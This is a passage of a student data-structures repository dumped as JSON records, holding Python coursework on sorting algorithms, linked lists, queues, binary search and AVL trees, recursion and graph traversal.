else:\n for i in range(1,length,+1):\n temp = l[i]\n j = i\n while j > 0 and l[j-1] > temp:\n l[j] = l[j-1]\n j-=1\n l[j] = temp\n end = datetime.datetime.now()\n duration = end - start\n # print(l)\n print('time spend : ',duration,'<<< INSERTIONsort')\n\n\n\ndef shellSORT(l, mode):\n start = datetime.datetime.now()\n length = len(l)\n gap = length//2\n if mode is 'A':\n while gap > 0:\n for i in range(gap, length):\n temp = l[i]\n j = i\n while j >= gap and l[j-gap] > temp:\n l[j] = l[j-gap]\n j -= gap\n l[j] = temp\n gap //= 2\n else:\n while gap > 0:\n for i in range(gap, length):\n temp = l[i]\n j = i\n while j >= gap and l[j-gap] < temp:\n l[j] = l[j-gap]\n j -= gap\n l[j] = temp\n gap //= 2\n end = datetime.datetime.now()\n duration = end - start\n # print(l)\n print('time spend : ',duration,'<<< SHELLsort')\n\n\ndef runMERGEsort(l):\n start = datetime.datetime.now()\n mergeSort(l)\n end = datetime.datetime.now()\n duration = end - start\n # print(l)\n print('time spend : ',duration,'<<< MERGEsort')\n\n\ndef mergeSort(arr):\n if len(arr) > 1:\n mid = len(arr) // 2 # Finding the mid of the array\n L = arr[:mid] # Dividing the array elements\n R = arr[mid:] # into 2 halves\n\n mergeSort(L) # Sorting the first half\n mergeSort(R) # Sorting the second half\n\n i = j = k = 0\n\n # Copy data to temp arrays L[] and R[]\n while i < len(L) and j < len(R):\n if L[i] < R[j]:\n arr[k] = L[i]\n i += 1\n else:\n arr[k] = R[j]\n j += 1\n k += 1\n\n # Checking if any element was left\n while i < len(L):\n arr[k] = L[i]\n i += 1\n k += 1\n\n while j < len(R):\n arr[k] = R[j]\n j += 1\n k += 1\n return arr\n\n\ndef quickSORT(lst, low, high):\n if low < high:\n pIdx = partition(lst, low, high)\n quickSORT(lst, low, pIdx)\n # print(lst)\n\ndef runQUICKsort(l):\n start = datetime.datetime.now()\n\n quickSORT(l,0,len(l)-1)\n\n end = datetime.datetime.now()\n duration = end - start\n # print(l)\n print('time spend : ',duration,'<<< QUICKsort')\n\ndef partition(lst, low, high):\n i = low - 1\n pivot = lst[high]\n for j in range(high):\n if lst[j] <= pivot:\n i += 1\n lst[i], lst[j] = lst[j], lst[i]\n lst[i + 1], lst[high] = lst[high], lst[i + 1]\n return i\n\n\ndef NEWquickSort(array, Mode):\n \"\"\"Sort the array by using quicksort.\"\"\"\n global count\n # pIdx = 0 if Mode == Con.Low else (\n # len(array)-1) if Mode == Con.High else (len(array)-1)//2 if Mode == Con.Mid else 0\n if Mode is 'FIRST':\n pivotINDEX = 0\n elif Mode is 'END':\n pivotINDEX = len(array)-1\n elif Mode is 'MID':\n pivotINDEX = (len(array)-1)//2\n less = []\n equal = []\n greater = []\n if len(array) > 1:\n pivot = array[pivotINDEX]\n for x in array:\n if x < pivot:\n count += 1\n less.append(x)\n elif x == pivot:\n count += 1\n equal.append(x)\n elif x > pivot:\n count += 1\n greater.append(x)\n return NEWquickSort(less, Mode)+equal+NEWquickSort(greater, Mode)\n else:\n return array\n \n\nl = []\n# RNG\n# for i in range(0,1000000):\n# l.append(RNGsus(1,101))\n# for i in range(100,0,-1):\n# l.append(i)\n\n\nl = [193,362,534,402,0,0,0,0,0]\n# l = [20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1]\n# l = [10,99,85,12,36,47,97,35,62,44,33,11,63,13,18,29]\n# l = [5]\n\n\nprint(l)\nmode = 'A'\nprint()\n# bubbleSORT(l,mode)\n# selectionSORT(l,mode)\n# insertionSORT(l, mode)\n# shellSORT(l, mode)\n# runMERGEsort(l)\n# runQUICKsort(l)\ncount=0\nFIRST = NEWquickSort(l,'FIRST') \nprint(FIRST,'>>> FIRST count :',count)\ncount=0\nEND = NEWquickSort(l,'END')\nprint(END, '>>> END count :',count)\ncount=0\nMID = NEWquickSort(l,'MID')\nprint(MID,'>>> MID count :',count)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.4444220960140228, "alphanum_fraction": 0.4580904543399811, "avg_line_length": 27.272727966308594, "blob_id": "2e63a4d92cee6ba888df8b4745d463c71ce36ab4", "content_id": "5cbad4c04779430824db07e527a587a90301b6f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4975, "license_type": "no_license", "max_line_length": 63, "num_lines": 176, "path": "/Round3greatAGAIN/sorting_linkedlist.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class DoublyLinkedList:\n class Node:\n def __init__(self, data, prev=None, next=None):\n self.data = data\n if prev is None:\n self.prev = None\n else:\n self.prev = prev\n if next is None:\n self.next = None\n else:\n self.next = next\n\n def __init__(self):\n self.header = self.Node(None, None, None)\n self.header.next = self.header.prev = self.header\n self.size = 0\n\n def __str__(self):\n s = '>>>>>'\n p = self.header.next\n for _ in range(len(self)):\n s += str(p.data)+' '\n p = p.next\n return s\n\n def __len__(self):\n return self.size\n\n def isEmpty(self):\n return self.size == 0\n\n def indexOf(self, data):\n q = self.header.next\n for i in range(len(self)):\n if q.data == data:\n return i\n q = q.next\n return -1\n\n def isIn(self, data):\n return self.indexOf(data) >= 0\n\n def nodeAt(self, i):\n p = self.header\n for _ in range(-1, i):\n p = p.next\n return p\n\n def insertBefore(self, q, data):\n p = q.prev\n x = self.Node(data, p, q)\n p.next = q.prev = x\n self.size += 1\n\n def append(self, data):\n self.insertBefore(self.nodeAt(len(self)), data)\n\n def add(self, i, data):\n self.insertBefore(self.nodeAt(i), data)\n\n def removeNode(self, q):\n p = q.prev\n x = q.next\n p.next = x\n x.prev = p\n self.size -= 1\n\n def delete(self, index):\n self.removeNode(self.nodeAt(index))\n\n def remove(self, data):\n q = self.header.next\n while q != self.header:\n if q.data == data:\n self.removeNode(q)\n break\n q = q.next\n\n \nl = [82, 52, 1, 13, 78, 9, 66, 60, 55, 78, 15, 14, 48, 89, 77]\nLL = DoublyLinkedList()\nfor i in l:\n LL.append(i)\n\nprint(LL)\n\ndef bubbleSORT(l, mode):\n length = len(l)\n if mode is 'A':\n for i in range(0, length, +1):\n for j in range(i+1, length, +1):\n if l.nodeAt(j).data < l.nodeAt(i).data:\n temp = l.nodeAt(j).data\n l.nodeAt(j).data = l.nodeAt(i).data\n l.nodeAt(i).data = temp\n else:\n for i in range(0, length, +1):\n for j in range(i+1, length, +1):\n if l.nodeAt(j).data > l.nodeAt(i).data:\n temp = l.nodeAt(j).data\n l.nodeAt(j).data = l.nodeAt(i).data\n l.nodeAt(i).data = temp\n return l\n\ndef selectionSORT(l, mode):\n length = len(l)\n if mode is 'D': # max to min\n for i in range(0,length,+1):\n indexMIN = i\n for j in range(i+1,length,+1):\n if l.nodeAt(j).data > l.nodeAt(i).data:\n indexMIN = j\n temp = l.nodeAt(i).data\n l.nodeAt(i).data = l.nodeAt(indexMIN).data\n l.nodeAt(indexMIN).data = temp\n else:\n for i in range(0,length,+1):\n indexMIN = i\n for j in range(i+1,length,+1):\n if l.nodeAt(j).data < l.nodeAt(i).data:\n indexMIN = j\n temp = l.nodeAt(i).data\n l.nodeAt(i).data = l.nodeAt(indexMIN).data\n l.nodeAt(indexMIN).data = temp\n return l\n\ndef insertionSORT(l, mode):\n length = len(l)\n if mode is 'D':\n for i in range(1,length,+1):\n temp = l.nodeAt(i).data\n j = i\n while j > 0 and l.nodeAt(j-1).data < temp:\n l.nodeAt(j).data = l.nodeAt(j-1).data\n j-=1\n l.nodeAt(j).data = temp\n else:\n for i in range(1,length,+1):\n temp = l.nodeAt(i).data\n j = i\n while j > 0 and l.nodeAt(j-1).data > temp:\n l.nodeAt(j).data = l.nodeAt(j-1).data\n j-=1\n l.nodeAt(j).data = temp\n return l\n\ndef shellSORT(l, mode):\n length = len(l)\n gap = length//2\n if mode is 'A':\n while gap > 0:\n for i in range(gap, length):\n temp = l.nodeAt(i).data\n j = i\n while j >= gap and l.nodeAt(j-gap).data > temp:\n l.nodeAt(j).data = l.nodeAt(j-gap).data\n j -= gap\n l.nodeAt(j).data = temp\n gap //= 2\n else:\n while gap > 0:\n for i in range(gap, length):\n temp = l.nodeAt(i).data\n j = i\n while j >= gap and l.nodeAt(j-gap).data < temp:\n l.nodeAt(j).data = l.nodeAt(j-gap).data\n j -= gap\n l.nodeAt(j).data = temp\n gap //= 2\n return l\n\nprint(\"BUBBLE : \",bubbleSORT(LL, 'A'))\nprint(\"SELECTION : \",selectionSORT(LL, 'A'))\nprint(\"BUBBLE : \",insertionSORT(LL, 'A'))\nprint(shellSORT(LL, 'A'))" }, { "alpha_fraction": 0.43551984429359436, "alphanum_fraction": 0.4680945873260498, "avg_line_length": 20.342857360839844, "blob_id": "b635f2942841f2b815eb1f3205a573cb765847c9", "content_id": "c2ec8f32b59607745fa97e5ab0707a6d35ccd395", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2241, "license_type": "no_license", "max_line_length": 55, "num_lines": 105, "path": "/Round3greatAGAIN/quicksort.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class node:\n def __init__(self, data=None):\n self.data = data\n self.next = None\n\n def __str__(self):\n return str(self.data)\n\n\nclass linklist:\n def __init__(self):\n self.head = node()\n self.size = 0\n\n def __str__(self):\n text = ''\n p = self.head.next if self.head else None\n while p:\n text += ' ' + str(p.data)\n p = p.next\n return text\n\n def append(self, data):\n if self.head.next is None:\n self.head.next = node(data)\n self.size += 1\n return\n else:\n p = self.head\n while p.next:\n p = p.next\n p.next = node(data)\n self.size += 1\n\n def getIndex(self, i) -> node:\n if i > self.size - 1:\n return\n count = 0\n p = self.head.next\n while i != count:\n count += 1\n p = p.next\n return p\n\n def __getitem__(self, item: int):\n return self.getIndex(item)\n\n\ndef quicksort(ll: linklist, low: int, high: int, mode):\n if low < high:\n p = partition(ll, low, high, mode)\n quicksort(ll, low, p, mode)\n quicksort(ll, p + 1, high, mode)\n\n\ndef partition(ll: linklist, low: int, high: int, mode):\n global count1\n if mode == 0:\n pivot = ll[low].data\n elif mode == 1:\n pivot = ll[(high + low) // 2].data\n else:\n pivot = ll[high - 1].data\n i = low - 1\n j = high + 1\n while 1:\n while 1:\n i += 1\n count1 += 1\n if ll[i].data >= pivot:\n break\n while 1:\n j -= 1\n count1 += 1\n if ll[j].data <= pivot:\n break\n if i >= j:\n return j\n ll[i].data, ll[j].data = ll[j].data, ll[i].data\n\n\ncount1 = 0\npp = linklist()\no = [10,99,85,12,36,47,97,35,62,44,33,11,63,13,18,29]\n\nfor i in o:\n pp.append(i)\n\nprint(pp)\nquicksort(pp, 0, pp.size - 1, 0)\nprint(count1, \"=>\", pp)\ncount1 = 0\npp = linklist()\nfor i in o:\n pp.append(i)\n\nquicksort(pp, 0, pp.size - 1, 1)\nprint(count1, \"=>\", pp)\ncount1 = 0\npp = linklist()\nfor i in o:\n pp.append(i)\n\nquicksort(pp, 0, pp.size - 1, 2)\nprint(count1, \"=>\", pp)\n" }, { "alpha_fraction": 0.46424010396003723, "alphanum_fraction": 0.46679437160491943, "avg_line_length": 20.08108139038086, "blob_id": "e2aa87037578fe2dc866adca0041249970c50874", "content_id": "05e13d0c5528545dd1df076a19d84e4fadc42593", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1566, "license_type": "no_license", "max_line_length": 40, "num_lines": 74, "path": "/LAB4/----LinkList.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node(object):\n\n def __init__(self, data, Next=None):\n self.data = data\n if Next == None:\n self.Next_node = None\n else:\n self.Next_node = Next\n\n def __str__(self):\n return str(self.data)\n \n def getdata(self):\n return self.data\n \n def getNext(self):\n return self.Next_node\n \n def setdata(self, data):\n self.data = data\n \n def setNext(self, Next):\n self.Next_node = Next\n\n\nclass Linkedlist(object):\n\n def __init__(self, head=None):\n if head is None:\n self.head = self.tail = None\n self.size = 0\n else:\n self.head = head\n tail = self.head\n self.size = 1\n while tail.next != None:\n tail = tail.next\n self.size += 1\n self.tail = tail \n\n def showlist(self):\n p = self.head\n while p != None:\n print(p.getdata())\n p = p.getNext()\n\n def insert(self, data):\n new_node = Node(data)\n new_node.setNext(self.head)\n self.head = new_node\n \n def isEmpty(self):\n if self.size > 0:\n return False\n else:\n return True\n\n def append(self, data):\n p = Node(data)\n if self.head == None:\n self.head = p\n else:\n t = self.head\n while t.next != None:\n t = t.next\n t.next = p\n\n\nI = Linkedlist()\nI.append('B')\nI.insert('A')\nI.insert('C')\nI.showlist()\nI.showlist()\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.47345131635665894, "alphanum_fraction": 0.47787609696388245, "avg_line_length": 17.079999923706055, "blob_id": "8f3e415d3627519eeb4140bd083c71acece93b0b", "content_id": "858e1d636741794bf55fb7398d04931f0ed7b164", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 452, "license_type": "no_license", "max_line_length": 34, "num_lines": 25, "path": "/LAB3/class_Queue.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Queue:\n\n def __init__(self, list=None):\n if list == None:\n self.item = []\n else:\n self.item= list\n\n def __init__(self):\n self.item = []\n \n def Enqueue(self, x):\n self.item.append(x)\n\n def Dequeue(self):\n self.item.pop(0)\n \n def get(self):\n return self.item[0]\n\n def show(self):\n return self.item\n \n def size(self):\n return len(self.item)\n" }, { "alpha_fraction": 0.4799557626247406, "alphanum_fraction": 0.48742052912712097, "avg_line_length": 24.685714721679688, "blob_id": "68fb0dddd6304d4fdfae91d5cbeea55f80d104d3", "content_id": "29a8b01ca8ad092172fc69f79ff1dd105de5c058", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3617, "license_type": "no_license", "max_line_length": 65, "num_lines": 140, "path": "/LAB07-TreeAll/AVL.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, left=None, right=None, parent=None):\n self.data = data\n self.left = None if left is None else left\n self.right = None if right is None else right\n self.parent = None if parent is None else parent\n \n def __str__(self):\n return str(self.data)\n\ndef insert(root, data):\n \n if not root:\n return Node(data)\n else:\n \n if data < root.data:\n if root.left:\n root.left = insert(root.left, data)\n else:\n root.left = Node(data,None,None,root)\n else:\n if root.right:\n root.right = insert(root.right, data)\n else:\n root.right = Node(data,None,None,root)\n \n return root\n\ndef find(root, data):\n if root.data == data:\n return True\n else:\n if data < root.data and root.left:\n return find(root.left, data)\n elif data > root.data and root.right:\n return find(root.right, data)\n else:\n return False\n\ndef path(root, data, P=[]):\n if root.data == data:\n P.append(data)\n else:\n if data < root.data and root.left:\n P.append(root.data)\n path(root.left, data, P)\n elif data > root.data and root.right:\n P.append(root.data)\n path(root.right, data,P)\n return P\n\ndef depth(root, data, dep=[]):\n if root.data == data:\n pass\n else:\n if data < root.data and root.left:\n dep.append(root.data)\n depth(root.left, data, dep)\n elif data > root.data and root.right:\n dep.append(root.data)\n depth(root.right, data, dep) \n return len(dep)\n\ndef ISP(root, parent):\n if root.left: # root.left:\n # print(root.data)\n return ISP(root.left, root)\n else:\n temp = root.data\n # print(temp,'<<TEMP')\n delete(parent, root.data)\n return temp\n\ndef delete(root, data, parent=None):\n if root:\n if data > root.data:\n delete(root.right, data, root)\n else:\n delete(root.left, data, root)\n\n if root.data is data:\n #No children\n if root.left is None and root.right is None:\n if parent:\n if parent.right is root:\n parent.right = None\n else:\n parent.left = None\n else:\n root.data = None\n #has 2 children\n elif root.left and root.right:\n root.data = ISP(root.right, root)\n # has 1 child\n else:\n lower = root.right if root.right else root.left\n if parent:\n if parent.right is root:\n parent.right = lower\n else:\n parent.left = lower\n else:\n root = lower\n\ndef height(root):\n if root:\n hl = height(root.left)\n hr = height(root.right)\n if hl>hr:\n return hl+1\n else:\n return hr+1\n else:\n return -1\n\ndef printTree(root):\n _printTree(root, 0)\n print()\n\ndef _printTree(root, level):\n if root is not None:\n _printTree(root.right, level+1)\n print(' '*level, root.data, sep='')\n _printTree(root.left, level+1)\n\n\n\n\n\n\nl = [14,4,9,7,15,3,18,16,20,5,16]\n# l = [14]\nx = None # Empty root\nfor ele in l:\n x = insert(x,ele)\n\nprint()\nprint('---------------------')\nprintTree(x)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.48939603567123413, "alphanum_fraction": 0.5, "avg_line_length": 24.520709991455078, "blob_id": "cfee227e26600a4e7b4de2ba17281f64c3f1b1ae", "content_id": "cc4be5ff5ccb60b96dfb188cb4f9aecceaa2e4e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4338, "license_type": "no_license", "max_line_length": 65, "num_lines": 169, "path": "/LAB07-TreeAll/BST_by_myself.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, left=None, right=None, parent=None):\n self.data = data\n self.left = None if left is None else left\n self.right = None if right is None else right\n self.parent = None if parent is None else parent\n \n def __str__(self):\n return str(self.data)\n\ndef insert(root, data):\n if not root:\n return Node(data)\n else:\n if data < root.data:\n root.left = insert(root.left, data)\n root.left.parent = root\n else:\n root.right = insert(root.right, data)\n root.right.parent = root\n \n return root\n\ndef find(root, data):\n if root.data == data:\n return True\n else:\n if data < root.data and root.left:\n return find(root.left, data)\n elif data > root.data and root.right:\n return find(root.right, data)\n else:\n return False\n\ndef path(root, data, P=[]):\n if root.data == data:\n P.append(data)\n else:\n if data < root.data and root.left:\n P.append(root.data)\n path(root.left, data, P)\n elif data > root.data and root.right:\n P.append(root.data)\n path(root.right, data,P)\n return P\n\ndef depth(root, data, dep=[]):\n if root.data == data:\n pass\n else:\n if data < root.data and root.left:\n dep.append(root.data)\n depth(root.left, data, dep)\n elif data > root.data and root.right:\n dep.append(root.data)\n depth(root.right, data, dep) \n return len(dep)\n\ndef ISP(root, parent):\n if root.left: # root.left:\n # print(root.data)\n return ISP(root.left, root)\n else:\n temp = root.data\n # print(temp,'<<TEMP')\n delete(parent, root.data)\n return temp\n\ndef delete(root, data, parent=None):\n if root:\n if data > root.data:\n delete(root.right, data, root)\n else:\n delete(root.left, data, root)\n\n if root.data is data:\n #No children\n if root.left is None and root.right is None:\n if parent:\n if parent.right is root:\n parent.right = None\n else:\n parent.left = None\n else:\n root.data = None\n #has 2 children\n elif root.left and root.right:\n root.data = ISP(root.right, root)\n # has 1 child\n else:\n lower = root.right if root.right else root.left\n if parent:\n if parent.right is root:\n parent.right = lower\n else:\n parent.left = lower\n else:\n root = lower\n\ndef height(root):\n if root:\n hl = height(root.left)\n hr = height(root.right)\n if hl>hr:\n return hl+1\n else:\n return hr+1\n else:\n return -1\n\ndef printTree(root):\n _printTree(root, 0)\n print()\n\ndef _printTree(root, level):\n if root is not None:\n _printTree(root.right, level+1)\n print(' '*level, root.data, sep='')\n _printTree(root.left, level+1)\n\ndef inOrder(root, l=[]):\n if root.left:\n inOrder(root.left, l)\n l.append(root.data)\n if root.right:\n inOrder(root.right, l)\n return l\n\n\n# def parent(root, data, parent=None):\n# if root:\n# if root.data == data:\n# parent = root.parent\n# else:\n# if data < root.data:\n# parent(root.left, data, parent)\n# else:\n# parent(root.right, data, parent)\n \n \n \n \n\n\nl = [14,4,9,7,15,3,18,16,20,5,16]\n# l = [14]\nx = None # Empty root\nfor ele in l:\n x = insert(x,ele)\n\n\n\n\nprint('input : ',l)\nprint('inorder : ', inOrder(x,[]))\nprint('printSideway')\nprintTree(x)\nprint('height of 14 : ', height(x))\nprint('path 5 : ', path(x, 5,[]))\n# print('father of 14 : ', parent(x, 4))\n# print(x,x.left.right.parent)\nprint('depth of node data 18 : ',depth(x, 18, []))\n\n# print(path(x, 20, []))\n# print(height(x))\n# print('depth of 18 is :',depth(x,18))\n# delete(x, 15)\n# print('--- deleted --')\n# printTree(x)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.47091835737228394, "alphanum_fraction": 0.49744898080825806, "avg_line_length": 23.512500762939453, "blob_id": "28905fef998109c6428e06fdf12a56730322506d", "content_id": "e6b115689347b0a357aca869849cdfd6271c7fe6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1960, "license_type": "no_license", "max_line_length": 96, "num_lines": 80, "path": "/LAB5/lab5_recursion.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "# def getFact(n):\n# if n == 0 or n == 1:\n# return 1\n# elif n <2:\n# return 1\n# else:\n# return n*getFact(n-1)\n\n# def sum(n):\n# if n == 1:\n# return 1\n# else:\n# return n + sum(n-1)\n\n# def sum_list(n, L):\n# if n is 0:\n# return 0\n# elif n is 1:\n# return L[0]\n# else:\n# return sum_list(n-1,L) + L[n-1]\n\n# def sum_list_tt(l, start, stop):\n# if start > stop:\n# return 0\n# elif start == stop:\n# return l[0]\n# else:\n# return l[start] + sum_list_tt(l, start+1,stop)\n\n# a = []\n# for i in range(1,6):\n# a.append(i)\n# print(a)\n# print(sum_list_tt(a,1,len(a)))\n\n\n\ndef printSack(sack, maxi):\n global good\n global name\n for i in range(maxi+1):\n print(good[sack[i]], end=' ')\n # print(name[sack[i]],good[sack[i]], end = ' ')\n print()\n\ndef pick(sack, i, mLeft, ig):\n global N\n global good\n #pick(sack, 0, 20,0)\n #i = index in sack\n #ig = index of our select \n if ig < N: # have something left to pick\n price = good[ig] # good's price\n if mLeft < price: # CAN'T BUY ---------------------\n pick(sack, i,mLeft, ig+1) # try to pick next good \n else: # can buy\n mLeft -= price # pay >> decrease money\n sack[i] = ig # pick that ig to the sack at i\n if mLeft == 0: # done\n printSack(sack, i)\n else: # still have moneyLeft\n pick(sack, i+1, mLeft, ig+1)\n pick(sack, i, mLeft+price, ig+1) # take the item off the sack for other solutions\n \n\ngood = [20,10,5,5,3,2,20,10]\nname = ['soap', 'potato chips', 'loly pop', 'toffy', 'pencil', 'rubber', 'milk','cookie']\nN = len(good) # number of good\n\nsack = N*[-1] # empty sack\n# print(good)\n# print(name)\n# print(sack)\nmLeft = 20 #money left\ni = 0 #scak index\nig = 0 # good index\n\npick(sack, i, mLeft, ig)\n#pick(sack, 0, 20,0)" }, { "alpha_fraction": 0.56855708360672, "alphanum_fraction": 0.5796841382980347, "avg_line_length": 23.017240524291992, "blob_id": "d8e449fa3a46a4640e6cdec585deaa43e020366e", "content_id": "025032030b001936cfd11da694e6e1ca301b5f28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2786, "license_type": "no_license", "max_line_length": 71, "num_lines": 116, "path": "/LAB07-TreeAll/Tree2.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n # self.parent = None\n self.height = 1\n def __str__(self):\n return str(self.data)\n\n\ndef getHeight(root):\n if root:\n return root.height\n else:\n return False\n\ndef addNode(root, data):\n if root: \n if data <= root.data:\n root.left = addNode(root.left, data)\n root.left.parent = root\n elif data > root.data:\n root.right = addNode(root.right, data)\n root.right.parent = root\n \n else:\n return Node(data)\n\n root.height = 1 + max(getHeight(root.left), getHeight(root.right))\n balance = getBalance(root)\n\n if balance > 1 and data < root.left.data and root.left:\n return rightRotate(root)\n \n if balance < -1 and data > root.right.data and root.right:\n return leftRotate(root)\n \n if balance > 1 and data > root.left.data and root.left:\n root.left = leftRotate(root.left)\n return rightRotate(root)\n \n if balance < -1 and data < root.right.data and root.right:\n root.right = rightRotate(root.right)\n return leftRotate(root)\n\n return root\n\ndef leftRotate(root):\n swap = root.right\n swapchild = swap.left\n swap.left = root\n root.right = swapchild\n root.height = 1 + max(getHeight(root.left), getHeight(root.right))\n swap.height = 1 + max(getHeight(swap.left), getHeight(swap.right))\n return swap\n\ndef rightRotate(root):\n swap = root.left\n swapchild = swap.right\n swap.right = root\n root.left = swapchild\n root.height = 1 + max(getHeight(root.left), getHeight(root.right))\n swap.height = 1 + max(getHeight(swap.left), getHeight(swap.right))\n return swap\n\ndef getBalance(root):\n if not root:\n return 0\n return getHeight(root.left) - getHeight(root.right)\n\n\ndef findNode(root, data):\n if root:\n if data == root.data:\n return True\n else:\n if data < root.data:\n return findNode(root.left, data)\n else:\n return findNode(root.right, data)\n else:\n return False\n\n\ndef inOrder(root):\n if root:\n inOrder(root.left)\n print(root.data,end=' ')\n inOrder(root.right)\n\ndef printSideway(root):\n _printSideway(root, 0)\n print()\n\ndef _printSideway(root, lv):\n if root:\n _printSideway(root.right, lv+1)\n print(' '*lv, root.data, sep='')\n _printSideway(root.left, lv+1)\n\n\nl = [14,4,9,7,15,3,18,16,20,5,16 ]\nroot = None\nfor element in l:\n root = addNode(root, element)\n\n\ninOrder(root)\nprint(' ')\nprint('_|_|_|_|_|_|_|_|_|_|_')\nprintSideway(root)\n\n\n# print('_|_|_|_|_|_|_|_|_|_|_')\n# printSideway(root)\n" }, { "alpha_fraction": 0.5772870779037476, "alphanum_fraction": 0.5867508053779602, "avg_line_length": 16.66666603088379, "blob_id": "17964ac4b04f4f5517aac21c03dbfea576941e23", "content_id": "462ded399f39efd1572256e86518accc25709266", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 317, "license_type": "no_license", "max_line_length": 35, "num_lines": 18, "path": "/LAB2/lab2_stack_test.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from lab2_stack import Stack\nname = ['s','e','v','e','n']\ns = Stack()\nfor i in range(0,len(name)):\n s.push(name[i])\n\nprint(s.item)\nprint(s.size())\nprint(s.isEmpty())\nprint(s.peek())\nprint(s.item)\n\nfor i in range(0,s.size()):\n s.pop()\n if(s.isEmpty()==True):\n print(\"Stack is empty NOW\")\n\nprint(s.item)" }, { "alpha_fraction": 0.4378283619880676, "alphanum_fraction": 0.46234676241874695, "avg_line_length": 21.39215660095215, "blob_id": "a795ddb8275a492f1675ba9db4fdee69f2f5ddff", "content_id": "b6d456c63ef5f01dbcb83e64ed741f5300cc96ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1142, "license_type": "no_license", "max_line_length": 68, "num_lines": 51, "path": "/LAB1/LAB1_13072019/LAB1_13072019/LAB1_13072019.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "def factorial(n):\n for i in range(1,n):\n n = n * i\n i+=1\n return n\n\ndef multiples_of_3_and_5(n):\n sum = 0\n for i in range(1,n):\n if i%3==0 or i%5==0:\n #print(i)\n sum+=i\n i+=1\n return sum\n\ndef integer_right_triangles(p):\n ans = []\n for a in range(1,p):\n for b in range(a,p):\n c = p-a-b\n if c<a or c<b:\n break\n if c*c == a*a + b*b:\n ans.append((a,b,c))\n return ans\n\n\ndef line(s):\n ans = ''\n for i in range(1,len(s)):\n ans = s[i]+ans\n ans = ans + s\n ans = '.'.join(ans)\n ans = ans\n return ans\n\ndef gen_pattern(c):\n n = (2*len(c)-1)+(2*len(c)-2)\n mid = line(c)+'\\n'\n for i in range(1,len(c)):\n a = line(c[i:len(c)])\n a = a.center(n,'.')\n a = a + '\\n'\n mid = a + mid + a\n return mid\n \n\n#print(factorial(int(input('Enter number <4.1> : '))))\n#print(multiples_of_3_and_5(int(input('Enter number <4.2> : '))))\n#print(integer_right_triangles(int(input('Enter number <4.3> : '))))\nprint(gen_pattern(str(input('Enter character <4.4> : '))))\n" }, { "alpha_fraction": 0.48488283157348633, "alphanum_fraction": 0.5011337995529175, "avg_line_length": 18.13768196105957, "blob_id": "6ad612eb46cc68ea52c0b9cb755c5bdf2200b7f4", "content_id": "d702b340311de40a483f09d2c6a2ead1c27606ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2646, "license_type": "no_license", "max_line_length": 53, "num_lines": 138, "path": "/Finallab/GRAPH2.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "\n\n# class Node:\n# def __init__(self, data, point=[]):\n# self.data = data\n# self.point = point\n# def __str__(self):\n# return str(self.data) \n\n# def add_edge(vertex, added):\n# vertex.point.append(added)\n\n\n# matrix = [\n\n# ]\n\n\n#! ------------------------------- print Adjustcend\n# for i in matrix:\n# print(matrix.index(i)+1,end='')\n# for j in range(0, len(i)):\n# if i[j] == 1:\n# print('->',j+1,end='')\n# # print('->',end='')\n# print()\n\n\n# class Graph:\n# def __init__(self):\n# self.graph = []\n \n# def add_vertex(self, v):\n# self.graph.append(v)\n \n# def add_edge(self, v, e):\n# self.graph[v].append(e)\n\n# g = Graph()\n\n# for i in matrix:\n# g.add_vertex(matrix.index(i))\n\n# print(g.graph)\n\n\ngraph = {\n 1 : set([2,3,4]),\n 2 : set([4,5]),\n 3 : set([6]),\n 4 : set([3,6,7]),\n 5 : set([4,7]),\n 6 : set([]),\n 7 : set([6])\n}\n\ndef dfs(visited, graph, node):\n if node not in visited:\n visited.append(node)\n for neighbour in graph[node]:\n dfs(visited, graph, neighbour)\n \n return visited\n\n\ndef dfs_path(visited, graph, start, goal):\n if goal not in visited:\n visited.append(start)\n for i in graph[start]:\n dfs_path(visited, graph, i, goal)\n return visited\n\n\ndef bfs(visited, queue, graph, node):\n visited.append(node)\n queue.append(node)\n while queue:\n temp = queue.pop(0)\n for i in graph[temp]:\n if i not in visited:\n visited.append(i)\n queue.append(i)\n\n return visited\n\ndef bfs_path(visited, queue, graph, start, goal):\n visited.append(start)\n queue.append(start)\n while queue:\n temp = queue.pop(0)\n for i in graph[temp]:\n if goal not in visited:\n visited.append(i)\n queue.append(i)\n\n return visited\n\n\n\nprint(dfs([], graph, 1))\n# print(dfs_path([], graph, 